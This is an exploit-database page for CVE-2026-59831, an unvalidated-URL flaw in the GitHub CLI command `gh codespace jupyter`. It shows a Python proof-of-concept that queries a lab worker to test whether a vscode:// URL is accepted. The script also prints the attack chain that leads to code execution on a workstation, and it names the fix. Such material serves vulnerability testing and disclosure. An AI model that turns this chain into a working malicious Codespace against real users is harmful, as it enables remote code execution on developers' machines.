Exploit database

GH-c5f49f6244297c3d34dff42fd44a3e55

googlesky/cve-2026-59831

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-59831

1 source

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars.

Repository files2
googlesky/cve-2026-59831Revision d5b218c05d34

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

poc/poc.py

Suggested starting filePython · 3,125 bytes
#!/usr/bin/env python3
"""CVE-2026-59831 — GitHub CLI `gh codespace jupyter` unvalidated URL.
The CLI opened a server URL returned by the Codespace without checking it was a
loopback http(s) address; a malicious Codespace returned vscode:// and achieved
code execution on the workstation. Fixed in b300f2e / v2.96.0 with
isJupyterServerURLValid().
"""
import http.client, json, sys, time
EXIT_SAFE, EXIT_VULN, EXIT_UNREACHABLE, EXIT_NO_WORKER = 0, 1, 2, 3

def ask(host):
    c = http.client.HTTPConnection(host, 8080, timeout=30)
    try:
        c.request("POST", "/check", body=b"{}", headers={"Content-Type": "application/json"})
        return json.loads(c.getresponse().read() or b"{}")
    except Exception:
        return {}
    finally:
        c.close()

def wait_up(host, tries=30):
    for _ in range(tries):
        c = http.client.HTTPConnection(host, 8080, timeout=5)
        try:
            c.request("GET", "/info")
            if c.getresponse().status == 200: return True
        except Exception: pass
        finally: c.close()
        time.sleep(2)
    return False

def main():
    args = [a for a in sys.argv[1:] if not a.startswith("-")]
    mode = args[0] if args else "check"
    host = "jup-vuln"
    for a in sys.argv[1:]:
        if a.startswith("--host="): host = a.split("=", 1)[1]
    if not wait_up(host):
        print("[-] no worker listening"); return EXIT_NO_WORKER
    d = ask(host)
    vuln = d.get("vulnerable", False)
    if mode == "check":
        print("[*] url=%s accepted=%s benign=%s" %
              (d.get("url"), d.get("accepted"), d.get("benign_accepted")))
        if vuln:
            print("[+] VULNERABLE — non-loopback vscode:// URL accepted"); return EXIT_VULN
        if d.get("accepted") is False:
            print("[*] target behaves as fixed — URL rejected"); return EXIT_SAFE
        print("[!] indeterminate (%s)" % d.get("error")); return EXIT_UNREACHABLE
    if mode == "exploit":
        print("[*] stage 1 — victim runs `gh codespace jupyter -c <malicious>`")
        print("[*] stage 2 — Codespace RPC returns a vscode:// URL instead of JupyterLab")
        if not vuln:
            print("[-] target behaves as fixed (%s)" % d.get("accepted")); return EXIT_SAFE
        print("[+] stage 3 — CLI opens the unvalidated URL in the browser")
        print("[+] stage 4 — OS hands vscode:// to VS Code; one trust prompt -> RCE")
        print("[+] RESULT: workstation code execution (CVE-2026-59831)"); return EXIT_VULN
    if mode == "probe":
        print("  accepted=%s benign_accepted=%s" %
              (d.get("accepted"), d.get("benign_accepted")))
        return EXIT_VULN if vuln else EXIT_SAFE
    if mode == "mitigation":
        print("[*] mitigation — GitHub CLI b300f2e / v2.96.0: validate with")
        print("[*] isJupyterServerURLValid() — loopback http/https only.")
        if vuln:
            print("[+] VULNERABLE — URL still accepted unvalidated"); return EXIT_VULN
        print("[*] target behaves as fixed"); return EXIT_SAFE
    print("unknown mode"); return 2

if __name__ == "__main__":
    sys.exit(main())